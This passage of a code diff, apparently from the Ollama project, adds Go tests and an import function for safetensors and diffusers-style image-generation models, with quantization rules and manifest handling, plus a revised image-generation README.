+	fn(fmt.Sprintf("successfully imported %s with %d layers", modelName, len(layers)))
+	return nil
+}

x/create/create_test.go

@@ -0,0 +1,752 @@
+package create
+
+import (
+	"bytes"
+	"encoding/binary"
+	"encoding/json"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestIsTensorModelDir(t *testing.T) {
+	tests := []struct {
+		name     string
+		setup    func(dir string) error
+		expected bool
+	}{
+		{
+			name: "valid diffusers model with model_index.json",
+			setup: func(dir string) error {
+				return os.WriteFile(filepath.Join(dir, "model_index.json"), []byte(`{"_class_name": "FluxPipeline"}`), 0o644)
+			},
+			expected: true,
+		},
+		{
+			name: "empty directory",
+			setup: func(dir string) error {
+				return nil
+			},
+			expected: false,
+		},
+		{
+			name: "directory with other files but no model_index.json",
+			setup: func(dir string) error {
+				return os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{}`), 0o644)
+			},
+			expected: false,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			dir := t.TempDir()
+			if err := tt.setup(dir); err != nil {
+				t.Fatalf("setup failed: %v", err)
+			}
+
+			got := IsTensorModelDir(dir)
+			if got != tt.expected {
+				t.Errorf("IsTensorModelDir() = %v, want %v", got, tt.expected)
+			}
+		})
+	}
+}
+
+func TestIsSafetensorsModelDir(t *testing.T) {
+	tests := []struct {
+		name     string
+		setup    func(dir string) error
+		expected bool
+	}{
+		{
+			name: "valid safetensors model with config.json and .safetensors file",
+			setup: func(dir string) error {
+				if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{"model_type": "gemma3"}`), 0o644); err != nil {
+					return err
+				}
+				return os.WriteFile(filepath.Join(dir, "model.safetensors"), []byte("dummy"), 0o644)
+			},
+			expected: true,
+		},
+		{
+			name: "config.json only, no safetensors files",
+			setup: func(dir string) error {
+				return os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{}`), 0o644)
+			},
+			expected: false,
+		},
+		{
+			name: "safetensors file only, no config.json",
+			setup: func(dir string) error {
+				return os.WriteFile(filepath.Join(dir, "model.safetensors"), []byte("dummy"), 0o644)
+			},
+			expected: false,
+		},
+		{
+			name: "empty directory",
+			setup: func(dir string) error {
+				return nil
+			},
+			expected: false,
+		},
+		{
+			name: "multiple safetensors files with config.json",
+			setup: func(dir string) error {
+				if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{}`), 0o644); err != nil {
+					return err
+				}
+				if err := os.WriteFile(filepath.Join(dir, "model-00001-of-00002.safetensors"), []byte("dummy"), 0o644); err != nil {
+					return err
+				}
+				return os.WriteFile(filepath.Join(dir, "model-00002-of-00002.safetensors"), []byte("dummy"), 0o644)
+			},
+			expected: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			dir := t.TempDir()
+			if err := tt.setup(dir); err != nil {
+				t.Fatalf("setup failed: %v", err)
+			}
+
+			got := IsSafetensorsModelDir(dir)
+			if got != tt.expected {
+				t.Errorf("IsSafetensorsModelDir() = %v, want %v", got, tt.expected)
+			}
+		})
+	}
+}
+
+func TestIsSafetensorsModelDir_NonexistentDir(t *testing.T) {
+	got := IsSafetensorsModelDir("/nonexistent/path/that/does/not/exist")
+	if got != false {
+		t.Errorf("IsSafetensorsModelDir() = %v for nonexistent dir, want false", got)
+	}
+}
+
+// createMinimalSafetensors creates a minimal valid safetensors file with one tensor
+func createMinimalSafetensors(t *testing.T, path string) {
+	t.Helper()
+
+	// Create a minimal safetensors file with a single float32 tensor
+	header := map[string]interface{}{
+		"test_tensor": map[string]interface{}{
+			"dtype":        "F32",
+			"shape":        []int{2, 2},
+			"data_offsets": []int{0, 16}, // 4 float32 values = 16 bytes
+		},
+	}
+	headerJSON, err := json.Marshal(header)
+	if err != nil {
+		t.Fatalf("failed to marshal header: %v", err)
+	}
+
+	// Pad header to 8-byte alignment
+	padding := (8 - len(headerJSON)%8) % 8
+	headerJSON = append(headerJSON, bytes.Repeat([]byte(" "), padding)...)
+
+	// Write file
+	f, err := os.Create(path)
+	if err != nil {
+		t.Fatalf("failed to create file: %v", err)
+	}
+	defer f.Close()
+
+	// Write header size (8 bytes, little endian)
+	if err := binary.Write(f, binary.LittleEndian, uint64(len(headerJSON))); err != nil {
+		t.Fatalf("failed to write header size: %v", err)
+	}
+
+	// Write header
+	if _, err := f.Write(headerJSON); err != nil {
+		t.Fatalf("failed to write header: %v", err)
+	}
+
+	// Write tensor data (16 bytes of zeros for 4 float32 values)
+	if _, err := f.Write(make([]byte, 16)); err != nil {
+		t.Fatalf("failed to write tensor data: %v", err)
+	}
+}
+
+func TestCreateSafetensorsModel(t *testing.T) {
+	dir := t.TempDir()
+
+	// Create config.json
+	configJSON := `{"model_type": "test", "architectures": ["TestModel"]}`
+	if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil {
+		t.Fatalf("failed to write config.json: %v", err)
+	}
+
+	// Create a minimal safetensors file
+	createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors"))
+
+	// Track what was created
+	var createdLayers []LayerInfo
+	var manifestWritten bool
+	var manifestModelName string
+	var manifestConfigLayer LayerInfo
+	var manifestLayers []LayerInfo
+	var statusMessages []string
+
+	// Mock callbacks
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		data, err := io.ReadAll(r)
+		if err != nil {
+			return LayerInfo{}, err
+		}
+		layer := LayerInfo{
+			Digest:    "sha256:test",
+			Size:      int64(len(data)),
+			MediaType: mediaType,
+			Name:      name,
+		}
+		createdLayers = append(createdLayers, layer)
+		return layer, nil
+	}
+
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		data, err := io.ReadAll(r)
+		if err != nil {
+			return nil, err
+		}
+		layer := LayerInfo{
+			Digest:    "sha256:tensor_" + name,
+			Size:      int64(len(data)),
+			MediaType: "application/vnd.ollama.image.tensor",
+			Name:      name,
+		}
+		createdLayers = append(createdLayers, layer)
+		return []LayerInfo{layer}, nil
+	}
+
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		manifestWritten = true
+		manifestModelName = modelName
+		manifestConfigLayer = config
+		manifestLayers = layers
+		return nil
+	}
+
+	progressFn := func(status string) {
+		statusMessages = append(statusMessages, status)
+	}
+
+	// Run CreateSafetensorsModel
+	err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err != nil {
+		t.Fatalf("CreateSafetensorsModel failed: %v", err)
+	}
+
+	// Verify manifest was written
+	if !manifestWritten {
+		t.Error("manifest was not written")
+	}
+
+	if manifestModelName != "test-model" {
+		t.Errorf("manifest model name = %q, want %q", manifestModelName, "test-model")
+	}
+
+	// Verify config layer was set
+	if manifestConfigLayer.Name != "config.json" {
+		t.Errorf("config layer name = %q, want %q", manifestConfigLayer.Name, "config.json")
+	}
+
+	// Verify we have at least one tensor and one config layer
+	hasTensor := false
+	hasConfig := false
+	for _, layer := range manifestLayers {
+		if layer.Name == "test_tensor" {
+			hasTensor = true
+		}
+		if layer.Name == "config.json" {
+			hasConfig = true
+		}
+	}
+
+	if !hasTensor {
+		t.Error("no tensor layer found in manifest")
+	}
+	if !hasConfig {
+		t.Error("no config layer found in manifest")
+	}
+
+	// Verify status messages were sent
+	if len(statusMessages) == 0 {
+		t.Error("no status messages received")
+	}
+}
+
+func TestCreateSafetensorsModel_NoConfigJson(t *testing.T) {
+	dir := t.TempDir()
+
+	// Create only a safetensors file, no config.json
+	createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors"))
+
+	// Mock callbacks (minimal)
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		io.ReadAll(r)
+		return LayerInfo{Name: name}, nil
+	}
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		io.ReadAll(r)
+		return []LayerInfo{{Name: name}}, nil
+	}
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		return nil
+	}
+	progressFn := func(status string) {}
+
+	err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err == nil {
+		t.Error("expected error for missing config.json, got nil")
+	}
+}
+
+func TestCreateSafetensorsModel_EmptyDir(t *testing.T) {
+	dir := t.TempDir()
+
+	// Mock callbacks
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		return LayerInfo{}, nil
+	}
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		return []LayerInfo{{}}, nil
+	}
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		return nil
+	}
+	progressFn := func(status string) {}
+
+	err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err == nil {
+		t.Error("expected error for empty directory, got nil")
+	}
+}
+
+func TestCreateSafetensorsModel_SkipsIndexJson(t *testing.T) {
+	dir := t.TempDir()
+
+	// Create config.json
+	if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{}`), 0o644); err != nil {
+		t.Fatalf("failed to write config.json: %v", err)
+	}
+
+	// Create model.safetensors.index.json (should be skipped)
+	indexJSON := `{"metadata": {"total_size": 100}, "weight_map": {}}`
+	if err := os.WriteFile(filepath.Join(dir, "model.safetensors.index.json"), []byte(indexJSON), 0o644); err != nil {
+		t.Fatalf("failed to write index.json: %v", err)
+	}
+
+	// Create a minimal safetensors file
+	createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors"))
+
+	var configNames []string
+
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		io.ReadAll(r)
+		configNames = append(configNames, name)
+		return LayerInfo{Name: name, Digest: "sha256:test"}, nil
+	}
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		io.ReadAll(r)
+		return []LayerInfo{{Name: name}}, nil
+	}
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		return nil
+	}
+	progressFn := func(status string) {}
+
+	err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err != nil {
+		t.Fatalf("CreateSafetensorsModel failed: %v", err)
+	}
+
+	// Verify model.safetensors.index.json was not included
+	for _, name := range configNames {
+		if name == "model.safetensors.index.json" {
+			t.Error("model.safetensors.index.json should have been skipped")
+		}
+	}
+}
+
+func TestResolveManifestPath(t *testing.T) {
+	tests := []struct {
+		name      string
+		modelName string
+		wantParts []string // Parts that should appear in the path
+	}{
+		{
+			name:      "simple model name",
+			modelName: "llama2",
+			wantParts: []string{"registry.ollama.ai", "library", "llama2", "latest"},
+		},
+		{
+			name:      "model name with tag",
+			modelName: "llama2:7b",
+			wantParts: []string{"registry.ollama.ai", "library", "llama2", "7b"},
+		},
+		{
+			name:      "model name with namespace",
+			modelName: "myuser/mymodel",
+			wantParts: []string{"registry.ollama.ai", "myuser", "mymodel", "latest"},
+		},
+		{
+			name:      "model name with namespace and tag",
+			modelName: "myuser/mymodel:v1",
+			wantParts: []string{"registry.ollama.ai", "myuser", "mymodel", "v1"},
+		},
+		{
+			name:      "fully qualified model name",
+			modelName: "registry.example.com/namespace/model:tag",
+			wantParts: []string{"registry.example.com", "namespace", "model", "tag"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := resolveManifestPath(tt.modelName)
+
+			for _, part := range tt.wantParts {
+				if !strings.Contains(got, part) {
+					t.Errorf("resolveManifestPath(%q) = %q, missing part %q", tt.modelName, got, part)
+				}
+			}
+		})
+	}
+}
+
+func TestLayerInfo(t *testing.T) {
+	layer := LayerInfo{
+		Digest:    "sha256:abc123",
+		Size:      1024,
+		MediaType: "application/vnd.ollama.image.tensor",
+		Name:      "model.weight",
+	}
+
+	if layer.Digest != "sha256:abc123" {
+		t.Errorf("Digest = %q, want %q", layer.Digest, "sha256:abc123")
+	}
+	if layer.Size != 1024 {
+		t.Errorf("Size = %d, want %d", layer.Size, 1024)
+	}
+	if layer.MediaType != "application/vnd.ollama.image.tensor" {
+		t.Errorf("MediaType = %q, want %q", layer.MediaType, "application/vnd.ollama.image.tensor")
+	}
+	if layer.Name != "model.weight" {
+		t.Errorf("Name = %q, want %q", layer.Name, "model.weight")
+	}
+}
+
+func TestModelConfig(t *testing.T) {
+	config := ModelConfig{
+		ModelFormat:  "safetensors",
+		Capabilities: []string{"completion", "chat"},
+	}
+
+	if config.ModelFormat != "safetensors" {
+		t.Errorf("ModelFormat = %q, want %q", config.ModelFormat, "safetensors")
+	}
+	if len(config.Capabilities) != 2 {
+		t.Errorf("Capabilities length = %d, want %d", len(config.Capabilities), 2)
+	}
+}
+
+func TestManifest(t *testing.T) {
+	manifest := Manifest{
+		SchemaVersion: 2,
+		MediaType:     "application/vnd.oci.image.manifest.v1+json",
+		Config: ManifestLayer{
+			MediaType: "application/vnd.docker.container.image.v1+json",
+			Digest:    "sha256:config",
+			Size:      100,
+		},
+		Layers: []ManifestLayer{
+			{
+				MediaType: "application/vnd.ollama.image.tensor",
+				Digest:    "sha256:layer1",
+				Size:      1000,
+				Name:      "weight.bin",
+			},
+		},
+	}
+
+	if manifest.SchemaVersion != 2 {
+		t.Errorf("SchemaVersion = %d, want %d", manifest.SchemaVersion, 2)
+	}
+	if manifest.Config.Digest != "sha256:config" {
+		t.Errorf("Config.Digest = %q, want %q", manifest.Config.Digest, "sha256:config")
+	}
+	if len(manifest.Layers) != 1 {
+		t.Errorf("Layers length = %d, want %d", len(manifest.Layers), 1)
+	}
+	if manifest.Layers[0].Name != "weight.bin" {
+		t.Errorf("Layers[0].Name = %q, want %q", manifest.Layers[0].Name, "weight.bin")
+	}
+}
+
+func TestShouldQuantize(t *testing.T) {
+	tests := []struct {
+		name      string
+		tensor    string
+		component string
+		want      bool
+	}{
+		// VAE component should never be quantized
+		{"vae weight", "decoder.weight", "vae", false},
+		{"vae bias", "decoder.bias", "vae", false},
+
+		// Embeddings should not be quantized
+		{"embedding weight", "embed_tokens.weight", "", false},
+		{"embedding in name", "token_embedding.weight", "", false},
+
+		// Norms should not be quantized
+		{"layer norm", "layer_norm.weight", "", false},
+		{"rms norm", "rms_norm.weight", "", false},
+		{"ln prefix", "ln_1.weight", "", false},
+		{"layernorm in name", "input_layernorm.weight", "", false},
+
+		// Biases should not be quantized
+		{"bias tensor", "attention.bias", "", false},
+		{"proj bias", "o_proj.bias", "", false},
+
+		// Linear weights should be quantized
+		{"linear weight", "q_proj.weight", "", true},
+		{"attention weight", "self_attn.weight", "", true},
+		{"mlp weight", "mlp.gate_proj.weight", "", true},
+
+		// Transformer component weights should be quantized
+		{"transformer weight", "layers.0.weight", "transformer", true},
+		{"text_encoder weight", "encoder.weight", "text_encoder", true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := ShouldQuantize(tt.tensor, tt.component)
+			if got != tt.want {
+				t.Errorf("ShouldQuantize(%q, %q) = %v, want %v", tt.tensor, tt.component, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestShouldQuantizeTensor(t *testing.T) {
+	tests := []struct {
+		name   string
+		tensor string
+		shape  []int32
+		want   bool
+	}{
+		// 2D tensors with sufficient size should be quantized
+		{"large 2D weight", "q_proj.weight", []int32{4096, 4096}, true},
+		{"medium 2D weight", "small_proj.weight", []int32{128, 128}, true},
+
+		// Small tensors should not be quantized (< 1024 elements)
+		{"tiny 2D weight", "tiny.weight", []int32{16, 16}, false},
+		{"small 2D weight", "small.weight", []int32{31, 31}, false},
+
+		// 1D tensors should not be quantized
+		{"1D tensor", "layer_norm.weight", []int32{4096}, false},
+
+		// 3D+ tensors should not be quantized
+		{"3D tensor", "conv.weight", []int32{64, 64, 3}, false},
+		{"4D tensor", "conv2d.weight", []int32{64, 64, 3, 3}, false},
+
+		// Embeddings should not be quantized regardless of shape
+		{"embedding 2D", "embed_tokens.weight", []int32{32000, 4096}, false},
+
+		// Norms should not be quantized regardless of shape
+		{"norm 2D", "layer_norm.weight", []int32{4096, 1}, false},
+
+		// Biases should not be quantized
+		{"bias 2D", "proj.bias", []int32{4096, 1}, false},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := ShouldQuantizeTensor(tt.tensor, tt.shape)
+			if got != tt.want {
+				t.Errorf("ShouldQuantizeTensor(%q, %v) = %v, want %v", tt.tensor, tt.shape, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestCreateSafetensorsModel_WithQuantize(t *testing.T) {
+	dir := t.TempDir()
+
+	// Create config.json
+	configJSON := `{"model_type": "test", "architectures": ["TestModel"]}`
+	if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil {
+		t.Fatalf("failed to write config.json: %v", err)
+	}
+
+	// Create a minimal safetensors file
+	createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors"))
+
+	var quantizeRequested []string
+
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		io.ReadAll(r)
+		return LayerInfo{Name: name, Digest: "sha256:test"}, nil
+	}
+
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		io.ReadAll(r)
+		quantizeRequested = append(quantizeRequested, quantize)
+		return []LayerInfo{{Name: name}}, nil
+	}
+
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		return nil
+	}
+
+	progressFn := func(status string) {}
+
+	// Run with quantize enabled
+	err := CreateSafetensorsModel("test-model", dir, "fp8", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err != nil {
+		t.Fatalf("CreateSafetensorsModel failed: %v", err)
+	}
+
+	// Verify quantize was passed to callback (will be false for small test tensor)
+	if len(quantizeRequested) == 0 {
+		t.Error("no tensors processed")
+	}
+}
+
+// createMinimalImageGenModel creates a minimal diffusers-style model directory
+func createMinimalImageGenModel(t *testing.T, dir string) {
+	t.Helper()
+
+	// Create model_index.json
+	modelIndex := `{"_class_name": "FluxPipeline", "_diffusers_version": "0.30.0"}`
+	if err := os.WriteFile(filepath.Join(dir, "model_index.json"), []byte(modelIndex), 0o644); err != nil {
+		t.Fatalf("failed to write model_index.json: %v", err)
+	}
+
+	// Create transformer directory with a safetensors file
+	transformerDir := filepath.Join(dir, "transformer")
+	if err := os.MkdirAll(transformerDir, 0o755); err != nil {
+		t.Fatalf("failed to create transformer dir: %v", err)
+	}
+	createMinimalSafetensors(t, filepath.Join(transformerDir, "model.safetensors"))
+
+	// Create transformer config
+	transformerConfig := `{"hidden_size": 3072}`
+	if err := os.WriteFile(filepath.Join(transformerDir, "config.json"), []byte(transformerConfig), 0o644); err != nil {
+		t.Fatalf("failed to write transformer config: %v", err)
+	}
+}
+
+func TestCreateImageGenModel(t *testing.T) {
+	dir := t.TempDir()
+	createMinimalImageGenModel(t, dir)
+
+	var manifestWritten bool
+	var manifestModelName string
+	var statusMessages []string
+
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		io.ReadAll(r)
+		return LayerInfo{Name: name, Digest: "sha256:test"}, nil
+	}
+
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		io.ReadAll(r)
+		return []LayerInfo{{Name: name, Digest: "sha256:tensor"}}, nil
+	}
+
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		manifestWritten = true
+		manifestModelName = modelName
+		return nil
+	}
+
+	progressFn := func(status string) {
+		statusMessages = append(statusMessages, status)
+	}
+
+	err := CreateImageGenModel("test-imagegen", dir, "", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err != nil {
+		t.Fatalf("CreateImageGenModel failed: %v", err)
+	}
+
+	if !manifestWritten {
+		t.Error("manifest was not written")
+	}
+
+	if manifestModelName != "test-imagegen" {
+		t.Errorf("manifest model name = %q, want %q", manifestModelName, "test-imagegen")
+	}
+
+	if len(statusMessages) == 0 {
+		t.Error("no status messages received")
+	}
+}
+
+func TestCreateImageGenModel_NoModelIndex(t *testing.T) {
+	dir := t.TempDir()
+
+	// Create only transformer without model_index.json
+	transformerDir := filepath.Join(dir, "transformer")
+	if err := os.MkdirAll(transformerDir, 0o755); err != nil {
+		t.Fatalf("failed to create transformer dir: %v", err)
+	}
+	createMinimalSafetensors(t, filepath.Join(transformerDir, "model.safetensors"))
+
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		io.ReadAll(r)
+		return LayerInfo{Name: name}, nil
+	}
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		io.ReadAll(r)
+		return []LayerInfo{{Name: name}}, nil
+	}
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		return nil
+	}
+	progressFn := func(status string) {}
+
+	err := CreateImageGenModel("test-imagegen", dir, "", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err == nil {
+		t.Error("expected error for missing model_index.json, got nil")
+	}
+}
+
+func TestCreateImageGenModel_WithQuantize(t *testing.T) {
+	dir := t.TempDir()
+	createMinimalImageGenModel(t, dir)
+
+	var quantizeRequested []string
+
+	createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) {
+		io.ReadAll(r)
+		return LayerInfo{Name: name, Digest: "sha256:test"}, nil
+	}
+
+	createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) {
+		io.ReadAll(r)
+		quantizeRequested = append(quantizeRequested, quantize)
+		return []LayerInfo{{Name: name}}, nil
+	}
+
+	writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error {
+		return nil
+	}
+
+	progressFn := func(status string) {}
+
+	err := CreateImageGenModel("test-imagegen", dir, "fp8", createLayer, createTensorLayer, writeManifest, progressFn)
+	if err != nil {
+		t.Fatalf("CreateImageGenModel failed: %v", err)
+	}
+
+	if len(quantizeRequested) == 0 {
+		t.Error("no tensors processed")
+	}
+}

x/create/imagegen.go

@@ -0,0 +1,222 @@
+package create
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/ollama/ollama/x/imagegen/safetensors"
+)
+
+// CreateImageGenModel imports an image generation model from a directory.
+// Stores each tensor as a separate blob for fine-grained deduplication.
+// If quantize is specified, linear weights in transformer/text_encoder are quantized.
+// Supported quantization types: fp8 (or empty for no quantization).
+// Layer creation and manifest writing are done via callbacks to avoid import cycles.
+func CreateImageGenModel(modelName, modelDir, quantize string, createLayer LayerCreator, createTensorLayer QuantizingTensorLayerCreator, writeManifest ManifestWriter, fn func(status string)) error {
+	// Validate quantization type
+	switch quantize {
+	case "", "fp8":
+		// valid
+	default:
+		return fmt.Errorf("unsupported quantization type %q: supported types are fp8", quantize)
+	}
+
+	var layers []LayerInfo
+	var configLayer LayerInfo
+	var totalParams int64 // Count parameters from original tensor shapes
+	var torchDtype string // Read from component config for quantization display
+
+	// Components to process - extract individual tensors from each
+	components := []string{"text_encoder", "transformer", "vae"}
+
+	for _, component := range components {
+		componentDir := filepath.Join(modelDir, component)
+		if _, err := os.Stat(componentDir); os.IsNotExist(err) {
+			continue
+		}
+
+		// Find all safetensors files in this component
+		entries, err := os.ReadDir(componentDir)
+		if err != nil {
+			return fmt.Errorf("failed to read %s: %w", component, err)
+		}
+
+		for _, entry := range entries {
+			if !strings.HasSuffix(entry.Name(), ".safetensors") {
+				continue
+			}
+
+			stPath := filepath.Join(componentDir, entry.Name())
+
+			// Extract individual tensors from safetensors file
+			extractor, err := safetensors.OpenForExtraction(stPath)
+			if err != nil {
+				return fmt.Errorf("failed to open %s: %w", stPath, err)
+			}
+
+			tensorNames := extractor.ListTensors()
+			quantizeMsg := ""
+			if quantize != "" && component != "vae" {
+				quantizeMsg = ", quantizing to " + quantize
+			}
+			fn(fmt.Sprintf("importing %s/%s (%d tensors%s)", component, entry.Name(), len(tensorNames), quantizeMsg))
+
+			for _, tensorName := range tensorNames {
+				td, err := extractor.GetTensor(tensorName)
+				if err != nil {
+					extractor.Close()
+					return fmt.Errorf("failed to get tensor %s: %w", tensorName, err)
+				}
+
+				// Count parameters from original tensor shape
+				if len(td.Shape) > 0 {
+					numElements := int64(1)
+					for _, dim := range td.Shape {
+						numElements *= int64(dim)
+					}
+					totalParams += numElements
+				}
+
+				// Store as minimal safetensors format (88 bytes header overhead)
+				// This enables native mmap loading via mlx_load_safetensors
+				// Use path-style name: "component/tensor_name"
+				fullName := component + "/" + tensorName
+
+				// Determine quantization type for this tensor (empty string if not quantizing)
+				quantizeType := ""
+				if quantize != "" && ShouldQuantize(tensorName, component) && canQuantizeShape(td.Shape) {
+					quantizeType = quantize
+				}
+
+				// createTensorLayer returns multiple layers if quantizing (weight + scales)
+				newLayers, err := createTensorLayer(td.SafetensorsReader(), fullName, td.Dtype, td.Shape, quantizeType)
+				if err != nil {
+					extractor.Close()
+					return fmt.Errorf("failed to create layer for %s: %w", fullName, err)
+				}
+				layers = append(layers, newLayers...)
+			}
+
+			extractor.Close()
+		}
+	}
+
+	// Read torch_dtype from text_encoder config for quantization display
+	if torchDtype == "" {
+		textEncoderConfig := filepath.Join(modelDir, "text_encoder/config.json")
+		if data, err := os.ReadFile(textEncoderConfig); err == nil {
+			var cfg struct {
+				TorchDtype string `json:"torch_dtype"`
+			}
+			if json.Unmarshal(data, &cfg) == nil && cfg.TorchDtype != "" {
+				torchDtype = cfg.TorchDtype
+			}
+		}
+	}
+
+	// Import config files
+	configFiles := []string{
+		"model_index.json",
+		"text_encoder/config.json",
+		"text_encoder/generation_config.json",
+		"transformer/config.json",
+		"vae/config.json",
+		"scheduler/scheduler_config.json",
+		"tokenizer/tokenizer.json",
+		"tokenizer/tokenizer_config.json",
+		"tokenizer/vocab.json",
+	}
+
+	for _, cfgPath := range configFiles {
+		fullPath := filepath.Join(modelDir, cfgPath)
+		if _, err := os.Stat(fullPath); os.IsNotExist(err) {
+			continue
+		}
+
+		fn(fmt.Sprintf("importing config %s", cfgPath))
+
+		var r io.Reader
+
+		// For model_index.json, normalize to Ollama format and add metadata
+		if cfgPath == "model_index.json" {
+			data, err := os.ReadFile(fullPath)
+			if err != nil {
+				return fmt.Errorf("failed to read %s: %w", cfgPath, err)
+			}
+
+			var cfg map[string]any
+			if err := json.Unmarshal(data, &cfg); err != nil {
+				return fmt.Errorf("failed to parse %s: %w", cfgPath, err)
+			}
+
+			// Rename _class_name to architecture, remove diffusers-specific fields
+			if className, ok := cfg["_class_name"]; ok {
+				cfg["architecture"] = className
+				delete(cfg, "_class_name")
+			}
+			delete(cfg, "_diffusers_version")
+
+			// Add parameter count (counted from tensor shapes during import)
+			cfg["parameter_count"] = totalParams
+
+			// Add quantization info - use quantize type if set, otherwise torch_dtype
+			if quantize != "" {
+				cfg["quantization"] = strings.ToUpper(quantize)
+			} else {
+				cfg["quantization"] = torchDtype
+			}
+
+			data, err = json.MarshalIndent(cfg, "", "    ")
+			if err != nil {
+				return fmt.Errorf("failed to marshal %s: %w", cfgPath, err)
+			}
+			r = bytes.NewReader(data)
+		} else {
+			f, err := os.Open(fullPath)
+			if err != nil {
+				return fmt.Errorf("failed to open %s: %w", cfgPath, err)
+			}
+			defer f.Close()
+			r = f
+		}
+
+		layer, err := createLayer(r, "application/vnd.ollama.image.json", cfgPath)
+		if err != nil {
+			return fmt.Errorf("failed to create layer for %s: %w", cfgPath, err)
+		}
+
+		// Use model_index.json as the config layer
+		if cfgPath == "model_index.json" {
+			configLayer = layer
+		}
+
+		layers = append(layers, layer)
+	}
+
+	if configLayer.Digest == "" {
+		return fmt.Errorf("model_index.json not found in %s", modelDir)
+	}
+
+	fn(fmt.Sprintf("writing manifest for %s", modelName))
+
+	if err := writeManifest(modelName, configLayer, layers); err != nil {
+		return fmt.Errorf("failed to write manifest: %w", err)
+	}
+
+	fn(fmt.Sprintf("successfully imported %s with %d layers", modelName, len(layers)))
+	return nil
+}
+
+// canQuantizeShape returns true if a tensor shape is compatible with MLX quantization.
+// MLX requires the last dimension to be divisible by the group size (32).
+func canQuantizeShape(shape []int32) bool {
+	if len(shape) < 2 {
+		return false
+	}
+	return shape[len(shape)-1]%32 == 0
+}

x/imagegen/README.md

@@ -1,61 +1,250 @@
-# imagegen
+# Image Generation in Ollama (Experimental)
 
-This is a package that uses MLX to run image generation models, ahead of being integrated into Ollama's primary runner.
-in `CMakeLists.txt` and rebuild.
+Generate images from text prompts using local AI models.
 
-### 1. Download a Model
-
-Download Llama 3.1 8B (or any compatible model) in safetensors format:
+## Quick Start
 
 ```bash
-mkdir -p ./weights
-
-# Example using huggingface-cli
-hf download meta-llama/Llama-3.1-8B --local-dir ./weights/Llama-3.1-8B
-hf download openai/gpt-oss-20b --local-dir ./weights/gpt-oss-20b
+# Run with a prompt
+ollama run z-image "a sunset over mountains"
+Generating: step 30/30
+Image saved to: /tmp/ollama-image-1704067200.png
 ```
 
-### 2. Run Inference
+On macOS, the generated image will automatically open in Preview.
+
+## Supported Models
+
+| Model | VRAM Required | Notes |
+|-------|---------------|-------|
+| z-image | ~12GB | Based on Flux architecture |
+
+## CLI Usage
 
 ```bash
-# Build
-go build ./cmd/engine
+# Generate an image
+ollama run z-image "a cat playing piano"
 
-# Text generation
-./engine -model ./weights/Llama-3.1-8B -prompt "Hello, world!" -max-tokens 250
+# Check if model is running
+ollama ps
 
-# Qwen-Image 2512 (text-to-image)
-./engine -qwen-image -model ./weights/Qwen-Image-2512 -prompt "A mountain landscape at sunset" \
-  -width 1024 -height 1024 -steps 20 -seed 42 -output landscape.png
-
